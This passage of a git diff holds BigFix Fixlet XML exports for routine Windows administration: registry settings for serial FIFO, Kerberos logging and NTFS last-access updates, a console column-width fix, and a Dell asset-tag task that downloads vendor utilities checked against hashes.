+  Title    : Configuration: Disable serial port ForceFifoEnable - Windows
+  ID       : 3864
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-29T14:56:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Disable serial port ForceFifoEnable - Windows</Title>
+    <Description><![CDATA[<P>This task will set the ForceFifoEnable registry setting to 0</P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://technet.microsoft.com/en-us/library/cc962417.aspx">http://technet.microsoft.com/en-us/library/cc962417.aspx</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists values whose(name of it = &quot;ForceFifoEnable&quot; AND it as string as integer = 0) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-09-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 29 Sep 2014 21:51:43 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//  http://technet.microsoft.com/en-us/library/cc962417.aspx
+regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial]&quot; &quot;ForceFifoEnable&quot;=dword:0
+
+// the setting may not take effect until the system has been restarted
+action requires restart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (6044).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (6044).bes
index 282df2f02..de734063b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (6044).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (6044).bes	
@@ -1,47 +1,47 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configuration: Disable serial port ForceFifoEnable - Windows
-  ID       : 6044
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T12:17:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configuration: Disable serial port ForceFifoEnable - Windows</Title>
-    <Description><![CDATA[<P>This task will set the ForceFifoEnable registry setting to 0</P>
-<P>&nbsp;</P>
-<P><STRONG>References:</STRONG></P>
-<P><A href="http://technet.microsoft.com/en-us/library/cc962417.aspx">http://technet.microsoft.com/en-us/library/cc962417.aspx</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>not exists values whose(name of it = &quot;ForceFifoEnable&quot; AND it as string as integer = 0) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial&quot; of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2014-09-29</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 29 Sep 2014 21:51:43 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-//  http://technet.microsoft.com/en-us/library/cc962417.aspx
-regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial]&quot; &quot;ForceFifoEnable&quot;=dword:0
-
-// the setting may not take effect until the system has been restarted
-action requires restart
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Disable serial port ForceFifoEnable - Windows
+  ID       : 6044
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T12:17:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Disable serial port ForceFifoEnable - Windows</Title>
+    <Description><![CDATA[<P>This task will set the ForceFifoEnable registry setting to 0</P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://technet.microsoft.com/en-us/library/cc962417.aspx">http://technet.microsoft.com/en-us/library/cc962417.aspx</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists values whose(name of it = &quot;ForceFifoEnable&quot; AND it as string as integer = 0) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-09-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 29 Sep 2014 21:51:43 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//  http://technet.microsoft.com/en-us/library/cc962417.aspx
+regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial]&quot; &quot;ForceFifoEnable&quot;=dword:0
+
+// the setting may not take effect until the system has been restarted
+action requires restart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable Kerberos Logging - Windows (3782).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable Kerberos Logging - Windows (3782).bes
index 6ce3c4fd1..952673650 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable Kerberos Logging - Windows (3782).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable Kerberos Logging - Windows (3782).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configuration: Enable Kerberos Logging - Windows
-  ID       : 3782
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-05-14T08:12:48
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configuration: Enable Kerberos Logging - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters&quot; whose(exists value &quot;LogLevel&quot; whose(it as integer = 1) of it) of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2014-05-14</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 14 May 2014 15:12:11 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters]&quot; &quot;LogLevel&quot;=dword:1</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Enable Kerberos Logging - Windows
+  ID       : 3782
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-05-14T08:12:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Enable Kerberos Logging - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters&quot; whose(exists value &quot;LogLevel&quot; whose(it as integer = 1) of it) of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-05-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 14 May 2014 15:12:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters]&quot; &quot;LogLevel&quot;=dword:1</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable NTFS Last Access Update - Windows (6041).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable NTFS Last Access Update - Windows (6041).bes
index f0c183afd..fb6df349c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable NTFS Last Access Update - Windows (6041).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable NTFS Last Access Update - Windows (6041).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Configuration: Enable NTFS Last Access Update - Windows
-  ID       : 6041
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T12:10:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Configuration: Enable NTFS Last Access Update - Windows</Title>
-    <Description><![CDATA[<P>Enable NTFS Last Access Update by setting NtfsDisableLastAccessUpdate to 0.<VALUE> </P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists value &quot;NtfsDisableLastAccessUpdate&quot; whose (0 != it as integer) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of native registry</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
-    <Category>Registry Edit</Category>
-    <Source>Windows Registry Wizard</Source>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2011-08-02</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Windows Registry Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 May 2015 19:09:23 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click&amp;nbsp;</PreLink>
-        <Link>here&amp;nbsp;</Link>
-        <PostLink>to edit the registry to enable NTFS Last Access Update.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem]&quot; &quot;NtfsDisableLastAccessUpdate&quot;=dword:00000000</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Configuration: Enable NTFS Last Access Update - Windows
+  ID       : 6041
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T12:10:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Configuration: Enable NTFS Last Access Update - Windows</Title>
+    <Description><![CDATA[<P>Enable NTFS Last Access Update by setting NtfsDisableLastAccessUpdate to 0.<VALUE> </P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists value &quot;NtfsDisableLastAccessUpdate&quot; whose (0 != it as integer) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of native registry</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
+    <Category>Registry Edit</Category>
+    <Source>Windows Registry Wizard</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2011-08-02</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Windows Registry Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 19:09:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here&amp;nbsp;</Link>
+        <PostLink>to edit the registry to enable NTFS Last Access Update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem]&quot; &quot;NtfsDisableLastAccessUpdate&quot;=dword:00000000</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Fix console user column width settings - Windows -TODO_Testing (3865).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Fix console user column width settings - Windows -TODO_Testing (3865).bes
index cb4662837..6ab268995 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Fix console user column width settings - Windows -TODO_Testing (3865).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Fix console user column width settings - Windows -TODO_Testing (3865).bes	
@@ -1,54 +1,54 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configuration: Fix console user column width settings - Windows -TODO:Testing
-  ID       : 3865
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-09-30T11:40:16
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configuration: Fix console user column width settings - Windows -TODO:Testing</Title>
-    <Description>This task sets the per user computer comlumns that have a width of 0 (hidden) to 100.</Description>
-    <Relevance>exists regapp &quot;BESConsole.exe&quot;</Relevance>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>FALSE  /* THIS IS UNTESTED! */</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2014-09-30</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 30 Sep 2014 17:28:55 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-if{ exists ( keys whose(exists values "width" whose(it as integer = 0) of it) of keys of keys "Software\BigFix\Enterprise Console\Preferences\bes.win.psu.edu\ComputerListCtrlColumns" of keys of key "HKEY_USERS" of registry ) }
-
-delete __createfile
-delete editRegistry.bat
-
-//    CREATEFILE - make a batch file
-// https://support.bigfix.com/inspectors/Action%20Objects_Win.html#action
-createfile until END_OF_FILE
-{ concatenation "%0d%0a" of ("REG ADD %22" & it & "%22 /v width /t REG_DWORD /d 100 /f") of (it as string) of (keys whose(exists values "width" whose(it as integer = 0) of it) of keys of keys "Software\BigFix\Enterprise Console\Preferences\bes.win.psu.edu\ComputerListCtrlColumns" of keys of key "HKEY_USERS" of registry) }
-END_OF_FILE
-
-move __createfile editRegistry.bat
-waithidden cmd.exe /C editRegistry.bat > "{(pathname of folder "__BESData\__Global\Logs" of parent folder of client)}\config_editRegistry.bat.log"
-
-endif
-
-continue if{ not exists ( keys whose(exists values "width" whose(it as integer = 0) of it) of keys of keys "Software\BigFix\Enterprise Console\Preferences\bes.win.psu.edu\ComputerListCtrlColumns" of keys of key "HKEY_USERS" of registry ) }
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Fix console user column width settings - Windows -TODO:Testing
+  ID       : 3865
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-30T11:40:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Fix console user column width settings - Windows -TODO:Testing</Title>
+    <Description>This task sets the per user computer comlumns that have a width of 0 (hidden) to 100.</Description>
+    <Relevance>exists regapp &quot;BESConsole.exe&quot;</Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>FALSE  /* THIS IS UNTESTED! */</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-09-30</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 30 Sep 2014 17:28:55 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+if{ exists ( keys whose(exists values "width" whose(it as integer = 0) of it) of keys of keys "Software\BigFix\Enterprise Console\Preferences\bes.win.psu.edu\ComputerListCtrlColumns" of keys of key "HKEY_USERS" of registry ) }
+
+delete __createfile
+delete editRegistry.bat
+
+//    CREATEFILE - make a batch file
+// https://support.bigfix.com/inspectors/Action%20Objects_Win.html#action
+createfile until END_OF_FILE
+{ concatenation "%0d%0a" of ("REG ADD %22" & it & "%22 /v width /t REG_DWORD /d 100 /f") of (it as string) of (keys whose(exists values "width" whose(it as integer = 0) of it) of keys of keys "Software\BigFix\Enterprise Console\Preferences\bes.win.psu.edu\ComputerListCtrlColumns" of keys of key "HKEY_USERS" of registry) }
+END_OF_FILE
+
+move __createfile editRegistry.bat
+waithidden cmd.exe /C editRegistry.bat > "{(pathname of folder "__BESData\__Global\Logs" of parent folder of client)}\config_editRegistry.bat.log"
+
+endif
+
+continue if{ not exists ( keys whose(exists values "width" whose(it as integer = 0) of it) of keys of keys "Software\BigFix\Enterprise Console\Preferences\bes.win.psu.edu\ComputerListCtrlColumns" of keys of key "HKEY_USERS" of registry ) }
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows (3928).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows (3928).bes
index e1574aec5..298465dfa 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows (3928).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows (3928).bes	
@@ -1,116 +1,116 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Configuration: Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows
-  ID       : 3928
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-11-25T14:48:19
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Configuration: Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>/* DELL Only */ exists values &quot;vendor&quot; whose(it as string as uppercase contains &quot;DELL&quot;) of structures &quot;bios_information&quot; of smbios</Relevance>
-    <Relevance>not exists files whose(name of it starts with &quot;results_Dell_Platform_Tags_&quot; AND name of it as lowercase ends with &quot;.log&quot; AND exists lines whose(it contains &quot;ERROR: Could not locate the BIOS interface to access the tags&quot;) of it) of folders &quot;__BESData\__Global\Logs&quot; of parent folder of client</Relevance>
-    <Relevance><![CDATA[not exists ( ( (it as trimmed string) whose(it != "" AND it != "<not set>") of following texts of firsts "Asset Tag ...... " of lines whose(it contains "Asset Tag ...... ") of files "results_Dell_Platform_Tags_RPT.log" of folders "__BESData\__Global\Logs" of parent folder of client );( (it as trimmed string) of string values whose(it as trimmed string != "") of selects "ElementName from DCIM_Chassis" of wmi "root\dcim\sysman" ) )]]></Relevance>
-    <Category>Software Sharing</Category>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2014-11-24</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 25 Nov 2014 21:47:24 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-action parameter query "Asset_Tag" with description "Enter the Asset Tag to set, maximum of 11 characters" and with default value "abcdef12345"
-
-// -- START:DOWNLOADS -------------------------
-
-//  - This is the commandline 7zip console which is use to unpack installers
-//  - https://www.virustotal.com/en/file/2a3afe19c180f8373fa02ff00254d5394fec0349f5804e0ad2f6067854ff28ac/analysis
-prefetch 7za.zip sha1:9ce9ce89ebc070fea5d679936f21f9dde25faae0 size:384846 http://softlayer-dal.dl.sourceforge.net/project/sevenzip/7-Zip/9.20/7za920.zip
-
-//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
-//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
-prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-
-// Utility to set Dell Ownership & Asset tags
-//    http://www.dell.com/support/home/us/en/04/Drivers/DriversDetails?driverId=7738M
-prefetch PlatformTags.Download sha1:616890ce8e793a670f696eff33a9358f37d1bf05 size:313056 http://downloads.dell.com/FOLDER01410519M/4/PlatformTags%204.006_ZPE.exe
-
-// -- END:DOWNLOADS ---------------------------
-
-
-// ADD TO UTILITY CACHE: unzip,7zip
-utility __Download\unzip.exe
-utility __Download\7za.zip
-utility __Download\PlatformTags.Download
-
-
-// EXTRACT using unzip: the 7zip command line utility
-waithidden __Download\unzip.exe -o "{pathname of file "7za.zip" of folder "__Download" of client folder of current site}" 7za.exe -d "{pathname of folder "__Download" of client folder of current site}"
-
-// EXTRACT using 7zip: Dell Platform Tags Utility
-waithidden "{ (pathname of file "7za.exe" of folder "__Download" of client folder of current site) }" e -i!*\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe -y -o"{pathname of folder "__Download" of client folder of current site}" "{pathname of file "PlatformTags.Download" of folder "__Download" of client folder of current site}"
-
-
-// SET Asset Tag
-continue if{ exists (parameter "Asset_Tag) whose( length of it <= 11 AND it != "" ) }
-waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_SAT.log" SAT:{ (parameter "Asset_Tag") }
-
-parameter "ExitCode" = "{ (exit code of action) as string }"
-
-// GET PlatformTag report
-waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_RPT.log" RPT
-
-// Only continue if Set Asset Tag was successful
-continue if{ (parameter "ExitCode") as integer = 0 }
-
-// restart "DSM SA Data Manager" service (to update WMI/OMCI with new tag)
-// http://superuser.com/questions/301765/restart-a-windows-service-from-the-command-line
-waithidden net stop "DSM SA Data Manager" && net start "DSM SA Data Manager"
-// REQUIRE Restart - seems that WMI does not update until the DSM SA Data Manager service is restarted (or perhaps until it is refreshed)
-// action requires restart
-
-// PlatformTags.exe -- Version 4.006
-// (C) Copyright 1993-2012 Dell Inc.
-//
-// PlatformTags.exe [File:<Name>] [Command]
-//
-//    View/modify Platform Tags
-//
-// Usage:
-//    [File:<Name>]   Specify a path\filename to echo screen text
-//    [Command]       Specify a command to execute
-//
-// Commands:
-//    RPT (or ReadPlatformTags)  Display All Tag information
-//    SAT (or SetAssetTag)       Set the Asset tag
-//    DAT (or DeleteAssetTag)    Delete the Asset Tag
-//    SOT (or SetOwnerTag)       Set the Owner Tag
-//    DOT (or DeleteOwnerTag)    Delete the Owner Tag
-//
-// Note:  SAT and SOT must be followed by ':' and the string to be used in the tag field
-//              If spaces are required in the owner tag, use quotes to surround the data
-//
-// Return Codes:
-//        0xFF = Error Condition - Screen will show error
-//        0 = Success
-
-]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows
+  ID       : 3928
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-11-25T14:48:19
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* DELL Only */ exists values &quot;vendor&quot; whose(it as string as uppercase contains &quot;DELL&quot;) of structures &quot;bios_information&quot; of smbios</Relevance>
+    <Relevance>not exists files whose(name of it starts with &quot;results_Dell_Platform_Tags_&quot; AND name of it as lowercase ends with &quot;.log&quot; AND exists lines whose(it contains &quot;ERROR: Could not locate the BIOS interface to access the tags&quot;) of it) of folders &quot;__BESData\__Global\Logs&quot; of parent folder of client</Relevance>
+    <Relevance><![CDATA[not exists ( ( (it as trimmed string) whose(it != "" AND it != "<not set>") of following texts of firsts "Asset Tag ...... " of lines whose(it contains "Asset Tag ...... ") of files "results_Dell_Platform_Tags_RPT.log" of folders "__BESData\__Global\Logs" of parent folder of client );( (it as trimmed string) of string values whose(it as trimmed string != "") of selects "ElementName from DCIM_Chassis" of wmi "root\dcim\sysman" ) )]]></Relevance>
